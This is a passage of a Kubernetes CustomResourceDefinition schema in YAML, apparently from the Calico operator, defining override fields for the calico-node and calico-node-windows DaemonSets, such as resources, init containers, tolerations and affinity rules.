                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named calico-node DaemonSet container's resources.
                                              If omitted, the calico-node DaemonSet will use its default value for this container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    initContainers:
                                      description: |-
                                        InitContainers is a list of calico-node init containers.
                                        If specified, this overrides the specified calico-node DaemonSet init containers.
                                        If omitted, the calico-node DaemonSet will use its default values for its init containers.
                                      items:
                                        description: CalicoNodeDaemonSetInitContainer
                                          is a calico-node DaemonSet init container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the calico-node DaemonSet init container by name.
                                              Supported values are: install-cni, hostpath-init, flexvol-driver, mount-bpffs, node-certs-key-cert-provisioner, calico-node-prometheus-server-tls-key-cert-provisioner
                                            enum:
                                            - install-cni
                                            - hostpath-init
                                            - flexvol-driver
                                            - mount-bpffs
                                            - node-certs-key-cert-provisioner
                                            - calico-node-prometheus-server-tls-key-cert-provisioner
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named calico-node DaemonSet init container's resources.
                                              If omitted, the calico-node DaemonSet will use its default value for this container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is the calico-node pod's scheduling constraints.
                                        If specified, each of the key/value pairs are added to the calico-node DaemonSet nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If omitted, the calico-node DaemonSet will use its default value for nodeSelector.
                                        WARNING: Please note that this field will modify the default calico-node DaemonSet nodeSelector.
                                      type: object
                                    tolerations:
                                      description: |-
                                        Tolerations is the calico-node pod's tolerations.
                                        If specified, this overrides any tolerations that may be set on the calico-node DaemonSet.
                                        If omitted, the calico-node DaemonSet will use its default value for tolerations.
                                        WARNING: Please note that this field will override the default calico-node DaemonSet tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                  type: object
                              type: object
                          type: object
                      type: object
                    calicoNodeWindowsDaemonSet:
                      description: CalicoNodeWindowsDaemonSet configures the calico-node-windows
                        DaemonSet.
                      properties:
                        metadata:
                          description: Metadata is a subset of a Kubernetes object's
                            metadata that is added to the DaemonSet.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              description: |-
                                Annotations is a map of arbitrary non-identifying metadata. Each of these
                                key/value pairs are added to the object's annotations provided the key does not
                                already exist in the object's annotations.
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Labels is a map of string keys and values that may match replicaset and
                                service selectors. Each of these key/value pairs are added to the
                                object's labels provided the key does not already exist in the object's labels.
                              type: object
                          type: object
                        spec:
                          description: Spec is the specification of the calico-node-windows
                            DaemonSet.
                          properties:
                            minReadySeconds:
                              description: |-
                                MinReadySeconds is the minimum number of seconds for which a newly created DaemonSet pod should
                                be ready without any of its container crashing, for it to be considered available.
                                If specified, this overrides any minReadySeconds value that may be set on the calico-node-windows DaemonSet.
                                If omitted, the calico-node-windows DaemonSet will use its default value for minReadySeconds.
                              format: int32
                              maximum: 2147483647
                              minimum: 0
                              type: integer
                            template:
                              description: Template describes the calico-node-windows
                                DaemonSet pod that will be created.
                              properties:
                                metadata:
                                  description: |-
                                    Metadata is a subset of a Kubernetes object's metadata that is added to
                                    the pod's metadata.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Annotations is a map of arbitrary non-identifying metadata. Each of these
                                        key/value pairs are added to the object's annotations provided the key does not
                                        already exist in the object's annotations.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Labels is a map of string keys and values that may match replicaset and
                                        service selectors. Each of these key/value pairs are added to the
                                        object's labels provided the key does not already exist in the object's labels.
                                      type: object
                                  type: object
                                spec:
                                  description: Spec is the calico-node-windows DaemonSet's
                                    PodSpec.
                                  properties:
                                    affinity:
                                      description: |-
                                        Affinity is a group of affinity scheduling rules for the calico-node-windows pods.
                                        If specified, this overrides any affinity that may be set on the calico-node-windows DaemonSet.
                                        If omitted, the calico-node-windows DaemonSet will use its default value for affinity.
                                        WARNING: Please note that this field will override the default calico-node-windows DaemonSet affinity.
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
